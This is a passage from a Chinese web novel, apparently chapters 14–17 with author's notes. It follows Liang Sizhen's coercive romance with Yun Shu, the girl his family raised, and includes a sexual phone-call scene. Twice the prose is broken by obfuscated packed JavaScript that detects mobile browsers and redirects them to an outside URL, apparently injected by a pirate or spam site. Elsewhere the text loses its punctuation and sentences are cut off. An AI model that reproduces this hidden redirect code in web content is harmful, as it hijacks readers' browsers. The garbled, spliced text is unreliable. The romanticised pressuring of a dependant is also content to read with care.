梁思谌掐着点打给母亲视频,就是怕云舒刚跟他见完面就要回家面对父母,刚建立的信心恐怕会崩塌。 他这条消息过来,云舒便也明白他不是偶然打的视频,她低垂睫毛,微微喘了口气,然后指尖轻点屏幕,回他:那我想听你跟我讲睡前故事。 她深呼吸,再深呼吸,恐惧如影随形,仿佛走在悬崖边,随时都要掉下去。 她深知梁思谌说的是对的,但有些观念根深蒂固,无法抹除。 可自己选的路,还是要坚定一些的,梁思谌逼迫她确实让她很难过,可既然她也选择同他试一试,没道理把责任全推他身上。 “哥……”她简单洗漱,躺去床上,然后拨语音通话给他,故作洒脱,“我没有打退堂鼓,你不要杯弓蛇影。” “是吗?”梁思谌发笑,“原来是我臆测了,抱歉,怪我太紧张,患得患失,总疑心你随时要抛弃我。” 云舒声音闷在被子里:“我抛弃你又怎样?” “不知道,没敢想过,大概会痛不欲生、心如死灰、以泪洗面,然后抓狂,恼怒,从此嫉妒同你在一起的每一个。” “你太夸张。”云舒小声说,“你有很多选择,为什么偏偏要逼我。” 她声音越来越小,“你换个人喜欢,我们都会好过很多。” 梁思谌玩笑的神色顿时淡下去,表情严肃且冷厉:“云舒,我同你讲得不够明白吗,但凡我有一点不是你也可以的可能,我都不会招惹你。” 云舒沉默,她没谈过恋爱,也没动过心,对梁思谌的感受太复杂,一时也很理清,于是也不知怎么处理才合宜。 “不要这样讲话,我很伤心。”梁思谌瞧她沉默,终究怕吓到她,“云舒,我爱你,没有掺一点虚假的成分,这话不要再讲,除非你恨我,想叫我彻夜难眠。” 云舒深呼吸,闭上眼:“哥,是我不对,我心里不好受,口不择言了,我不是那样想。我只是……我只是不知道怎么办,但我答应你我们试一试,就会努力的。” 梁思谌心脏抽痛,绵密的心疼扩散开,他从小看顾到大的人,又怎会看着她痛苦挣扎无动于衷,他恨不得替她去痛,可这世上终究没有真正的感同身受,他不知道她有多难过。 但她虽然柔弱,却一向坚韧,也很少自卑敏感,他向来自傲自己教的好,梁家养她身也养她心,不曾忽略过她内心感受。 如果不是痛苦到极点,不会那么恐惧,仿佛惊弓之鸟,随时一点风吹草动都要吓昏过去。 如果没有他,她在这个家里不知要多幸福,他亲手毁了她完满的幸福,所以她开始对这个家感到愧疚和不安。 可即便她都那样恐惧,不过是几句发泄的话,得知他伤心,还是会第一时间道歉,安慰他。 梁思谌沉默许久,声音都有些哑:“我改主意了,除了分手,你想怎么都行,伤心是我活该,我愿意尝尝这伤心滋味,同我不许道歉,云舒,我逼迫你在先,你打我骂我都是应该的,几句话而已,我没有那么脆弱。还有,不要相信男人示弱的话。” 云舒声音闷闷的,但却异常坚定清晰:“你真是有病,反复无常的。” 梁思谌听她一句骂,倏忽笑起来:“嗯,接着骂。还有吗?” 作者有话要说 来啦,双更合一。 今天妈妈来陪我,有点开心,耽误码字了,万更缺一点,明天补上,么么哒。 这章红包掉落,感谢支持!! 第 15 章 凶我?可以 “你…… 云舒骂人的词汇贫瘠得可怜,特别生气的时候也骂不出什么,这会儿骂他实在是因为真情实感这么觉得,被他一笑,反倒像是更加证实。 “我确实病得不轻。 梁思谌那语气,不知道的还以为是他挨了夸。 云舒生怕他再疯言疯语,开口道:“哥,我想睡了。 情绪大起大落,云舒这会儿其实很平静,她总是怕出格,也不愿意去走让自己害怕的路,可一旦迈出那一步,她总还是会认真走下去的。 至于走到哪里,走到哪一步,她不知道,只能先走着。 梁思谌被他一句“哥叫回魂,好似终于意识到自己还是个哥哥,正常了些:“好,我讲睡前故事给你听。想听什么? 云舒摇摇头:“不知道。 梁思谌点头,耐心极好:“那等我两分钟,我给你选,好不好? “嗯。 “乖孩子。 云舒微微叹气,梁思谌原本就是这样吗? 她已经有些记不清了。 …… 云舒小时候,梁思谌真的是既当哥哥又当爹,她母亲刚去世的时候,梁思悯还没从美国回来,那一年梁氏在进军国际市场,国内也在实行变革,每天忙到不见人,周邵红那时还没辞去CFO的职位,夫妻两个在一家公司都聚少离多,更别提照顾孩子们,尽管很用心也看顾不了几次。 梁思谌年纪稍大一些,做事也妥帖,总被要求照看妹妹。 云舒大多数时候在他房间由私人教师陪着一同看书写字,只晚上回自己房间。 那时家里的内线电话,她房间那一台,拨号0就是梁思谌的房间,但她很少拨,梁思谌却总是拨电话给她,不厌其烦地问她在做什么,准备做什么,做得如何。 因为知道她性子闷,所以很难开口讲,他做哥哥的,当然要主动一些。 他记得有一次她的回答很迟疑,憋了半天才说:“在准备睡觉。 那时刚刚八点钟,她的作息是九点睡,于是他问:“今天怎么睡这么早。 她闷声说:“今天下雨了。 仿佛答非所问,他停顿片刻,只说:“叫吴妈妈陪你睡,好不好?别难过。 她妈妈下葬那天就是个雨天,她在墓碑前哭到失声,从此一下雨她就不大高兴,或许是触景生情。 她什么也没说,但他猜到了,而她因为被猜中心事而哽咽,仿佛难过找到宣泄口,无助又依恋地叫他:“哥哥 。” 父母相继离世,对她的打击真的很大,可她又是个懂事孩子,知道梁家愿意收留她已经是极大的恩惠,不愿意给别人添麻烦。 可她还那样小,正是天真烂漫的年纪,却要被迫面对这些,怎么不惹人怜惜。 后来梁思谌常想,他对梁思悯和云舒向来两种态度,大约是梁思悯每次叫哥哥都像是讨债,云舒的每一声哥哥都像在求助。 请你拥抱我、请你抓住我、请不要抛弃我。 因为亲妹妹知道要求哥哥什么都应当应分。 云舒却不能,需要别人很用力抱紧她,她才敢相信,自己是被爱着。 于是他抓住她,越攥越紧。 她每日几点睡觉,几点起,要做什么课后作业,饭吃了什么,吃多少,他都知道,做哥哥做到他这份儿上,他觉得并不失职,直到有一天他决定出国读书,临走前的晚上,他还在不厌其烦对云舒讲,不要贪食甜品,她肠胃弱一点,也不要吃冷食,家里聚会多,不想参加就说要回家读书,只管离席,不用管任何人,遇到不喜欢的要说不要,有什么困难同别人说不出口可以打电话告诉他,什么都可以说,哪怕做错了事,捅了天大的篓子,哥哥都能帮你顶得住…… 事无巨细,琐碎到让他自己都愣住片刻,恨不得安排她生活中一切,母亲数落他,云舒已经大了,不要干涉太宽,他下意识想反驳:“你不懂。” 你不懂她的善良和敏感,不懂她的脆弱和坚强,不明白她有多需要有人用力去爱她…… 他仿佛在亲手植一株玫瑰,从来都是他在浇灌和养护,他不信任任何人,哪怕是父母。 直到这一刻,他清楚明白,自己做哥哥是不大合格的。 他一直在无底线放纵她对他的依赖。 他为她擎起一把巨伞,企图为她遮蔽所有风雨,可她终究是要长大的,要走自己的路。 出国头一年,他常挂念她,不知没他庇佑是否会委屈难过,一年之内往返数次,恨不能把她带身边。 对任何人都不信任,仿佛自己才是唯一那个配照顾她的人,整个人偏激又固执,占有欲作祟的时候甚至厌恶一切人靠近她。 有次她参加运动会,崴了脚,周末困顿在家中,好朋友举办周末快乐趴,邀请了全班人,但她却一点都不知道,她以为是自己崴了脚的缘故,本没有多想。 聚会中间,他们玩真心话大冒险,好友打电话给她,认真说:“我讨厌你。” 有人偷偷告诉她大冒险的内容,是要选一个想决 裂但没有的人勇敢说一句:我讨厌你。 运动会她跑八百米,崴了脚是志愿者背她去医务室,那男生暗恋云舒,特意让人帮忙安排他管她们班,没想到正好遇到云舒出事,他第一时间冲上去,带云舒去医务室处理。 女生喜欢那男生,觉得云舒背叛了她。 云舒觉得莫名,她全程不知道,同男生不认识,也没说几句话,更不知道对方喜欢她。 所以她很委屈,疑心她们之间还有别的矛盾,这次只是借题发挥。 碰巧他打视频过去,她两眼通红像兔子,他一句“谁欺负你 他从没见她那么难过过,云舒把感情看得很重,同谁的缘分都珍惜,那朋友梁思谌也见过,孙家的小辈,模样不错,活泼也开朗,但年纪轻轻就有些势利眼,惯会捧高踩低,一群小姐妹整天聚一起玩闹,同云舒不是一个世界的人。 但云舒帮过她,她人热情,有段时间对云舒很好,两个人一度到形影不离的地步。 他从前委婉提醒过她,但都是小孩子,也没到不可理喻的地步,两个人关系正热络,他不好把话说得明白。 如今恐怕也不只不是一个追求者的缘故,闹到这份上,他只觉得是自己失职,声音沉下来:“别哭,这不是你的错。不许胡思乱想,单单这件事,你没有任何错。至于其他事,一切未言明的龃龉都可以当做不曾发生,不要预设自己错误,懂不懂? 云舒心思敏感,大概是觉得不合逻辑,认为除这件事外自己在不曾预料的境地做错过什么事。 那天他同孙京京哥哥打电话,对方当着他面训了妹妹一顿,见他神色还没和缓,甚至抬手打了一巴掌,一迭声请他消气,但分明是做戏,巴掌虚虚打下去,眼神都是莫名其妙,大概不懂小姐妹之间的摩擦,怎么电话打到他这里。 他火气却越烧越旺,不明白自己为何这么愤怒,护短到恨不得找对方哥哥的麻烦,好似要质问一句,你怎么教的。 但电话打了,才惊觉,没有哥哥会把妹妹当女儿细心教,他最该去打对方爸妈电话。 隔了一个小时给云舒拨电话的时候,一开口声音都是哑的。 云舒关切问他嗓子怎么了,他低声说没事,小小的妹妹却板着大人脸:“你去喝水,现在就去。 他那邪火才平息,问她心情如何,她笑一笑,却安抚起他来。 “哥,我没事。刚刚很难过,但我已 经想明白她不当我是朋友我也不必为不是朋友的人难过了。哥哥对不起让你担心了。” 那一刻他差点当场杀回去。 云舒收拾好自己心情却问他一个人在国外怎么样有没有不适应叮嘱他要照顾好自己。 “云舒。”他板着脸说“哥哥是大人自己懂得如何做不用操心我。” “可是我关心你。”云舒声音很低仿佛呢喃“也很想你。” 他第二天就飞回家一趟直飞的航班最快也要十几个小时他有时也觉得自己多半疯魔。 那时甚至想过把她弄去美国读高中。 这些年就这么过来。 她还没升高中他就在打算安排她去读国际高中或者重高的国际部然后同时开始初步物色适合她申报的大学。 她坚持要走高考在国内读大学 于是他态度强硬但她竟然也不相让。 “哥我有自己想走的路你不能事事都替我做决定。”她委屈甚至都带上怨气鼻音浓重若不是隔得远恐怕都要去晃他肩。 梁思谌这才反思自己他一心要她去读国外的大学究竟是为她好还是只是想把她圈在身边? 一瞬间的自我怀疑他险些惊出一身冷汗。 …… 云舒听他讲故事其实刚听个开头就睡着了他身上总有让她安心的魔力。 她做了个梦梦到自己读初中那会儿哥哥刚刚去国外开学那天是小陈叔叔去送她她隔着车窗挥手说再见小陈叔叔降下车窗笑眯眯道:“以前开学少爷总是先来送你今天他不在我竟然觉得缺点什么。” 一句话云舒的嘴角就耷拉下来转身的瞬间眼睛已经有泪意路过门卫室保安大叔认得她朗声说:“小妹今天你哥哥没来送你啊?” 每次来学校都是梁思谌跟着。 云舒点头说:“他出国读书了。” 一进校门就开始抹眼泪她生活中处处都是他的影子她也习惯了他无处不在可突然间他离开自己那么远。 她像是风筝断了线一瞬间变得茫然无所适从。 尽管叔叔和阿姨帮她安排好一切她依旧有种强烈的类似被抛弃的不安。 那一天她似乎都在掉眼泪苦得像 是吞了一万口黄连。 梦里云舒躲在角落里突然捂着脸放肆呜咽痛哭。 “云舒……”梁思谌呼吸都发紧一遍遍叫着“宝贝云舒?醒醒。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414185|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >通话一直没有挂梁思谌听出她均匀的呼吸后就停止了念故事但还是保持着通话听她微弱的呼吸不舍得挂断。 大约过了半个小时她呼吸就开始急促有些不安地翻了几下身 长这么大除了她父母去世后那段时间她这样柔弱甚至有时显得脆弱的人其实很少哭即便掉眼泪也都是安静沉默的他还是第一次听她哭得这么伤心一瞬间心脏揪起疑心是被他逼的。 云舒醒过来哭泣转为哽咽缓了许久似乎才清醒。 “哥……”她似乎拿起了手机声音靠近但很低落。 “为什么哭?”梁思谌沉声问“跟我在一起真的委屈到这种程度?” “不是。”云舒每次看他板着脸都有些怕这会儿听语气仿佛都能看到他表情呼吸都发紧但想起来自己现在同他关系发生了转变于是鼓起勇气说一句“我害怕你能不能不要凶我。” 梁思谌倒抽气半晌声音软下来“我不是凶你。” “你就是。”云舒闷声说“你总是很凶。” 一瞬间她想起很多过往瞬间声音闷在被子里低声倾诉“你长得就很凶再板着脸我觉得天都要塌了。” “也没见你怕我。”梁思谌插一句嘴她从小到大看似文静柔弱被他管得服服帖帖但其实大多数是她牵着他鼻子走外人正经怕他他看得出来也懒得多解释一句每次看她害怕都会哄一哄她其实一点不怕他。 “我怕……”云舒抿着唇“我怕你不高兴我怕你讨厌我我怕你不理我不跟我讲话。” “我不理过你不跟你讲话过?”他知道她在家里很难建立归属感他要求自己包括家里每一个人做错事当然可以教导但无论她做如何错的事不许任何人跟她冷战故意不理她靠情绪来压迫她谁敢有一点苗头就别怪他翻脸他自己更是以身作则他敢拍着胸脯说他从没有过一次。 云舒吸了吸鼻子“没有但我就是怕就像我也没被狗咬过但我还是怕狗。” “怎么我是狗?”梁思谌声音都忍不住扬起。 云舒:“……” 也不知道是不是在国外待久了听不懂人话了。 她故意道:“那……也不好说。” “云舒!”他警告她。 云舒忍不住笑起来,笑着笑着忘记自己刚刚在说什么,好半天才又续上:“反正我害怕你凶我。” 梁思谌深呼吸:“怎么算凶你?” “你刚刚就是在凶我。”云舒说。 梁思谌思考片刻,突然反应过来,“是,我确实在凶你,我问你为什么哭,你少岔话题。” 被发现了…… 云舒小声说:“我梦到你刚出国的时候,我……” “你怎么?”梁思谌声音很冷,大概是被她拒绝太多次,本能地觉得她又要打退堂鼓。 但云舒只是有些难为情,半晌才说:“我开学那天其实一直在掉眼泪,因为你没有送我去学校,也知道你不会再去接我下课,也不会再去给我开家长会,生病陪我去医院……我一想到就觉得很难过,我就一直哭,一直哭,小陈叔叔来接我的时候,我的眼睛都肿起来了。” 梁思谌心脏像是被什么狠狠撞了一下。 云舒停顿片刻,说出那些未曾表达的思念:“我真的很舍不得你,我好自私地想要你时时刻刻陪我。我那时候甚至去寺庙拜拜,求他们把你还给我。我刚出寺庙的门,就害怕,怕他们真的把你还给我,那我不是太自私了。我又进去求,求他们忘记刚刚的愿望让我重新求,可我不知道求什么了,最后求你多给我打几个电话,因为我不敢经常联系你,我怕你看穿我其实很想你,虽然我也不知道为什么怕你看穿。后来菩萨大概显灵,我每次回家,你都会给我电话或者视频,我甚至去还愿,谢谢他们保佑。后来长大一点,忽然意识到,我最该谢的只有你,没有人保佑,只是因为你对我好。” “小舒……” 云舒打断她,“你不要安慰我,我会哭给你看的。” 因为知道,有些情绪就是没道理的,但她不能要求他为了她放弃自己的一切,真的时时刻刻陪她,那样不对,她也不希望真的那样。 “不许哭,我只接受你在床上哭。” “我就在床……上。”云舒说到一半才听懂他在说什么,顿时气到语塞,“梁思谌!” 怎么这么讨厌。 他强硬地把气氛拧到男女关系上去,他痛极了,不愿担着哥哥身份再痛下去,不然他的良心会受不了。 “凶我?可以,我以后不凶你,但你可以凶我,大点声。” 云舒深呼吸,彻底清醒了,忍不住说一句:“你真的很神经。” “可能是憋坏了吧。”梁思谌认真思考了一下,“你用最龌龊的想法可能都猜不到我对你起过的心思。” 云舒:“……” 梁思谌的声音温柔蛊惑又变态:“不过别害怕,我是个人,不是禽兽。” 作者有话要说 小舒:? 来啦,明天更新恢复九点钟 第 16 章 像谈恋爱那样 “你这样,和狼外婆敲小红帽的门没有区别。坏人才会强调自己不坏。云舒拆穿他。 那句话翻译过来是:我不是人,我是个禽兽。 梁思谌短促笑一声。 是的,他需要反复默念自己是个人不是禽兽,才能克服有时莫名涌现的负罪感。 “恨我吗?梁思谌突然问,问完不等她回答,自顾自道,“可以恨我,爱比恨多一点点就好。 或许只有恨也好,他有时甚至想,恨也要纠缠在一起。 在很多个自我博弈的日夜,他无数次幻想过她爱他,也预测过她会恨他,他自觉自己对云舒的付出不比杜少霆对妹妹付出少。 杜少霆跟他说过,没有园丁会采摘自己亲手种下的玫瑰,那是一种亵渎和轻慢。 他曾深以为然,可后来,一切都失控了。 他不该问,可他有时也恨自己。 云舒原本不想回答这种问题,但最后还是讲一句,“哥哥,我不恨你,我只是有时恨自己。 每当这时,梁思谌才会发现,她同自己在某些方面简直一样,因为是他带大的,所以身上多少有他影子,可正因为此,他才罪无可恕。 “那还不如恨我。梁思谌声音冷下来,“都说养不教父之过,你爸爸去世早,我爸妈连我和梁思悯都没过问过什么,我托大可以说一句,几乎算我看顾你长大,你的错都是我的错。你恨我是应该的,永远不要恨自己。 云舒近乎赌气地说:“我恨你你不会难过,我恨我自己,你会难过。 “你希望我难过?他轻声问。 云舒摇摇头,但又点点头,“有时候会。 梁思谌觉得欣慰:“这样很好,你懂得如何利用我的软肋。但还是不要伤害自己,没有任何人值得你这样,哥哥也不行。 “那你也不要这样。云舒心知肚明,他总在强调自己的“强势、“固执、“蛮横,不过是因为他是真的恨自己。 他想要她也恨他。 但其实他只是想要她爱他。 这样矛盾,这样痛苦,还是一定要和她纠缠在一起。 云舒还是很想一切都能回到过去,回到还是兄妹的时候,可毕竟一切回不去了,即便他退缩,她躲到天边去,一切都回不去了。 试一试,偷片刻的欢愉也好,苦已经尝了,在风暴来临之前,换一点甜蜜尝尝也可以。 或许可以。 “好。他答应她。 云舒叫他:“哥。 梁思谌不应她其实更盼望她能叫他名字但两个人之间属于兄妹的那层情谊如何能分得开。 想到这里他便变得很安详忍不住又回到哥哥的身份丁点邪念都起不来。 两个人谁也没有挂电话就那么胡乱讲着讲到睡着云舒再醒来手机都发烫电量已经告急。 她安静地躺了会儿手机那端什么声音也没有。 正犹豫要不要挂断梁思谌隔着屏幕问:“醒了?” 云舒吓一跳突然咳嗽起来半晌才说:“哥你吓到我了。” “这么胆小快来哥哥怀里躲躲。”他故意逗她语气十分欠揍。 云舒轻“哼”一声闭上眼陷入二次浅眠她惯爱赖床每次从床上爬起来都很难。 今日天晴日光稀薄地照进窗子云舒昨夜没关窗帘阳光洒进来跳进她眼皮她虚虚睁开眼翻个身又窸窸窣窣哼哼唧唧地闹着困。 “小舒……” “嗯。”她不情不愿应无意识呻-吟几句发出几声无意义的声响。 听在耳朵里折磨人。 梁思谌闭上眼想象她是如何在床上翻来覆去从前蔡姐爱说云小姐赖床他总是没感受这会儿似乎才清晰。 “云舒不起床?”他问。 “我困。”云舒声音很轻倒问他“你怎么不起?” “听你哼唧。”他坦然“不过很折磨。” 云舒半梦半醒:“嗯……” 过一会儿似乎才迟钝开始理解:“嗯?” 但也没多清醒极敷衍似的发出几声意味不明的语气词喘息声很重。 凌晨的意志薄弱昨夜没起的邪念似乎都堆到这时候只觉得情欲难耐恨不得她就在身边。 梁思谌起了反应他明知自己应该转移注意力可却放纵自己沉溺闭着眼在脑海中描摹她轮廓好像她就在身边。 她仿佛在配合他因为醒不过来而痛苦地哼唧了两声。 因为看不见而生出无限遐想。 意识开始涣散脑海中场景驳杂云舒第一次闯入他梦里、他第一次意识到她长大了、她同他第一次接吻、新年夜那个晚上……他还记得那天她每一个反应她最难耐时候也咬着唇一语不发只喉咙溢出的几声喘息和呜咽落在耳边他亲吻她每一处敏感点 罚,闭着眼,瘫靠在沙发上,感受每一寸折磨。 她走出来,挨着他坐下来,她说“我帮你的时候,他其实更多的是感觉到痛苦。 那么痛,却还是不愿意放过她,他失控得彻底,也罪无可恕得透彻。 “云舒……云舒?梁思谌叫她名字,“宝贝。 云舒的困顿彻底消散,因为听到他声音的异常,像是发了烧烧糊涂时,声音粗重,意识凌乱,口齿也不清晰,仿佛咬着什么。 “梁思谌……她不可置信叫他名字。 “嗯,再叫一声。他堂而皇之展露自己欲望,不吝啬喘息地表达自己的爱和欲,“帮帮我,小舒。 云舒吞咽了口唾沫,紧张到不会呼吸,只好坦诚:“我不会。 “叫我。 “哥…… “换一个。 “哥哥。 他叹气,打算挂掉,不折磨她,也不折磨自己。 云舒忽然轻声说一句:“你的手很漂亮。 梁思谌微顿,问她:“然后呢? “就……很漂亮。云舒认真说,“抓握东西的时候,很漂亮。以前跟你一起看书,你握笔写字,我都会偷偷看。 梁思谌回忆,不大记得了,他很少关注自己的手,现在想一想也就一般,不如她的手好看,她皮肤细腻白皙,那双手也好似没有一点褶皱,连皮肤纹路都很淡,青葱玉指,柔弱无骨,摸起来仿佛绸缎。 他想起那天她帮他,因为害怕手指僵硬得不行,还需要他去引导。 “随便说点什么。梁思谌近乎恳求,“云舒,不要停。 云舒都想挂电话,可莫名的责任感驱使她,于是她闭着眼宣泄情绪:“我不知道说什么,我真的不会。你真的很过分,我们还没恋爱,就好像在偷情,但我又想,我们好像真的在偷情,然后就很难过。下次我不要晚上跟你通电话,一大早瞌睡都吓没了。 话说了半天,他那边好似没动静了, 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梁思谌卡在某一个情绪点,在这一刻突然间越过去,他痛苦地呼出一口气,在彻底纾解后的余韵里,低骂了声脏话。 “你疯了?”他问。 云舒听完了全程,这会儿整个人蜷成了一团,所有的挣扎不安和恐惧好像随着他的解脱也得到了解脱。 “我又没说要看。”她答。 “你还想看?”梁思谌躺了片刻,起身往浴室去,“不然我洗澡给你看?” 云舒气恼:“我不看。” “中午来送我吧。”他突然话题急转弯,“跟爸妈还有梁思悯一起。” 他为了临别再见一面,把爸妈和梁思悯都叫了一遍,说:“我想你们了,来送送我吧。” 梁思悯直呼见鬼,恨不得手伸进屏幕里摸摸他脑袋是不是烧坏了。 云舒也从床上爬下来,打开窗户透透气,今天阳光不错,她窗台落了一只漂亮的小鸟,云舒手撑在脑袋,趴在那里发了会儿呆。 “算了,你别来了,我怕你离我三尺远,被爸妈瞥一眼就崩溃,然后功亏一篑,我知道我见不得人,我认了。” 云舒叹气,半晌才说一句:“哥,下次回来的时候,我们去约会吧。像谈恋爱那样。” 梁思谌收起玩笑,板着脸严肃说一句:“我们就是在谈恋爱,不是在偷情,我给你时间适应,你不要给我偷换概念。” 云舒不说话,只是看着小鸟,小鸟好像受伤了,朝着她慢慢踱过来,摇摇晃晃,云舒放下手机想要捉住它检查一下,没想到手刚要触碰到,它扑棱着翅膀飞走了,飞得那么高,应该是她看错了吧? 她再拿起手机的时候,没想到自己不知道什么时候把电话碰断了,艰难回忆了一下,才想到他最后一句说什么,顿时五雷轰顶。 完了。 她想解释清楚,于是一个视频弹过去。 梁思谌站在花洒下,表情平静地问她:“非要看我洗澡?” 云舒:“……” 她啪一下挂了视频。 作者有话要说 来了,抱歉,今天把妈妈送走了,好像产生了戒断反应,轻轻地碎掉了,我把自己默默拼好才开始码字,效率有点低,来晚了。 前五章红包吧!谢谢大家,比心,明天真的九点更。 第 17 章 他是不是有病 杜少霆来陪梁思谌吃早饭,算临行送别今年恐怕也见不到几面了。 “我现在觉得成年后实在有很多不快乐,我还是怀念从前,每天只需要操心学业然后关心杜若枫有没有好好读书。我现在一年同她见不到几面,一边担忧她,一边……怕见她。”他忍不住喟叹一句。 昨晚陪妹妹吃饭,结果又不欢而散,杜若枫闹脾气,觉得他整天不回家他心平气和跟她讲自己忙又说:“等闲下来,好好陪你。” “你又骗我。”她这次没有闹下去但那眼神里的失望和委屈却刺痛他一直到到现在他的表情都十分的阴郁压抑。 他摸出雪茄盒叼了一根在嘴里却没有点上,眼神忧郁愁苦,比昨晚梁思谌那死样子更颓废三分。 梁思谌抬眸看一眼嘲讽道:“你迟早把自己搞疯掉。你连爱她都不敢承认,更不敢承认她爱你吧。” 每次他提起这个话题稍微讲明一点杜少霆都会呵止。他对此讳莫如深,对旁人这样,对杜若枫应该只会更甚,所以按道理也不必要躲着他同梁思谌不一样如果他愿意他可以一直谨守一个哥哥的分寸到死。 梁思谌也是最近突然才想到如果杜少霆刻意躲着杜若枫那只有一个可能杜若枫也有了某些苗头甚至在对他施压。 杜少霆搁了筷子掐着眉心镜片后的目光冷得渗人默认了。 他自嘲一笑:“做哥哥做到我这份儿上是不是很失败。” 最近几年杜若枫一放假他就要时刻躲出去。 还没成年他就送她房子装修的每个细节都是他亲自督工之后在她大学附近买房在衍城东西南北各置办一套房产各种户型都安排上不惜一切砸钱过去想要把两个人的距离拉开划开界线。 可她有一天哭着问他:“哥你是不是不想要我了我在家里是碍着你了吗?” 他一瞬间涌起绵密的心疼所以下定的决心便功亏一篑最后只好说:“家里永远都是你的家哥哥只是希望你活得自在、开心。你想住在哪里都可以。” 父母离世家里只有他们两个相依为命。如果他躲她她就真的要一个人了他无法忍受自己让她陷入那种孤独的境地。 可他不能毁了她。 梁思谌挑眉:“我最近很郁闷但看你这样子我就觉得好受多了。” 他拍拍他的肩膀 杜少霆翻他白眼问一句:“别说我了你打算怎么收场 ?昨晚我实在不应该放云舒上楼你万一兽性大发我就是帮凶。” 那酒店是他的他特意让人留意了楼道的监控得知云舒九点左右就离开了才松了口气。 “没办法有妹妹的看不得这个你这么不是人我都替她委屈。”杜少霆说“就算你有心也不该这么早摊牌她还在读书接触社会少总的来说还是个少年心性单纯得很没有那么好的心理素质你也不怕她出问题。” “早?”梁思谌嗤一声“感情的事只会讲晚你不要代入杜若枫云舒是云舒你妹妹是你妹妹正如你是你我是我。” 杜少霆思忖片刻“也是我逾越了。我只是觉得这样不对。” 梁思谌“嗯”一声“我不知道吗?” 顿了片刻他又说“有些事怎么做都是错的我不求问心无愧我只求同她有牵扯。你求什么杜总?” “少揶揄我。”杜少霆身子微微后靠目光看向对面的人第一次审视这个朋友他以前常觉得两个人是同类人现在发现其实本质很不同。 杜少霆这两年确实忙忙到脚不沾地每天睁开眼就是工作他把自己逼得连睡眠时间都严重被挤压可还是有大把的时间想她。 甚至于他有时候觉得自己是为她而生的那种感觉很荒谬很颓废很畸形但他无法控制自己不以一种献祭的姿态去面对她。 那种一种压抑而扭曲的爱不像兄妹情有时也不像爱情。 我愿意为她去死那种极端的偏激和他这些年到病态的克制交织在一起其实他早就已经疯了只是还剩一口气吊着。 他要为她铺好路 “我什么也不求。”杜少霆的表情恢复平静和克制。 梁思谌点点头:“那你比我理智全世界不会有人比我更在意云舒。但我的确做不到祝福她得遇良缘跟我只做兄妹。” 杜少霆笑一笑:“只做兄妹挺好的这种关系稳定且长久感情太不可控一把火烧下去谁知道是繁花似锦还是一片灰烬我年纪大了心脏不好承受不了这样的折磨。” “那等她谈恋爱你最好也这样想。”梁思谌拆穿他“装什么淡定你现在还能讲这些冠冕堂皇的话是因为她还爱你眼里看不见别人哪天她发现爱你太累了眼光放到别人身上一年到头本来就同你见不了几面也不再渴望跟你相处不再计较你没有陪她一起吃晚饭 ,满心满眼都是爱人,偶尔你约她见面,她要么忙着不能来,要么一见面就喋喋不休讲自己恋爱的甜蜜和苦恼,你看那男人百般不顺眼,可还是要帮衬,偶尔他们吵架,你恨不得揍那人一顿,觉得他哪里都不好,配不上她,也没有你细心,没有你照顾得好,但你什么也不能做……” 这些,梁思谌都思考过,有时候近乎自虐般脑补,他笑了声,看向杜少霆:“如果真到那时候,你再来讲这种话。” 杜少霆“嗯”一声,眸色深沉:“那你呢?同云舒在一起了,之后呢,你爸妈知道怎么办,你让她如何在家里自处,你让别人怎么看她,确实可以不管不顾,但她只有你和梁家了,他做你妹妹,将来有整个梁家替她撑腰,她做你爱人,无论家里人待她如何,将来你们但凡有丁点摩擦,她在心理上就没有任何依靠了,你在亲手给她打造一座孤岛,你到底有多自信,能给她一辈子的幸福。” 这同正经谈恋爱不同,两个人都是既当哥哥又当爹,除去爱护,还有一份教养的职责,教她应对一切,替她考虑终身,如今却要亲手毁掉她退路,那很难。 梁思谌沉默许久,眉心微蹙:“我知道,所以我说,有些事,怎么选都是错的。” 两个人谁也没法说服谁。 最后,索性不谈了,梁思谌挑眉,“但我还是有这个自信,全世界不会有人比我更知道如何爱她。”- 梁思谌走的时候,云舒还是去送了,她站在最远处,立得笔直,浑身上下绷得极紧,像根拧紧的弦。 从前她最亲他,虽胆怯,可总是会努力往前迈一步,说一句—— “哥哥再见。” “注意身体。” “等你回家。” …… 诸如此类。 有时她局促,他也会专门把她拎到人前,叮嘱几句,或者逗逗她,总怕她被冷落。 可现在,云舒一句话也不说,也害怕他说话。 梁思谌全程没有看她,好似忘了她,余光里却千万遍掠过,云舒察觉到,心里发酸,无论他说多少遍他们不是见不得光,可到底还是做不到坦然,也没勇气去面对,于是到最后都没敢往前一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414187|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他要过闸机了,临别前最后一回头:“爸妈再见。” 他指了指梁思悯,“早点过来,别让我捉你。” 最后终于看了云舒一眼:“走了。” 云舒轻声说:“再见,哥。” 彼此生疏,仿佛不熟,连周阿姨都忍不住偏头看她一眼,回程的路上,同梁 叔叔说:“一转眼,孩子们都长大了。” 其实是想说,云舒和梁思谌都没以前亲近了。 梁叔叔笑了下:“我们也老了。” “再过两年,等梁思谌接你的班,你退下来吧,我们去环游世界。”周阿姨说。 梁叔叔思索片刻,“怎么也得等孩子们都成家吧。” 周邵红突然兴致勃勃道:“汤家小辈这一代,都不错,女孩子也很优秀,你记不记得汤二有个独女,在法国念书,快回来了,以前跟梁思谌都是国际高中读书的,她妈妈那天见我,还在问梁思谌,我觉得她是想撮合两个小孩认识。” 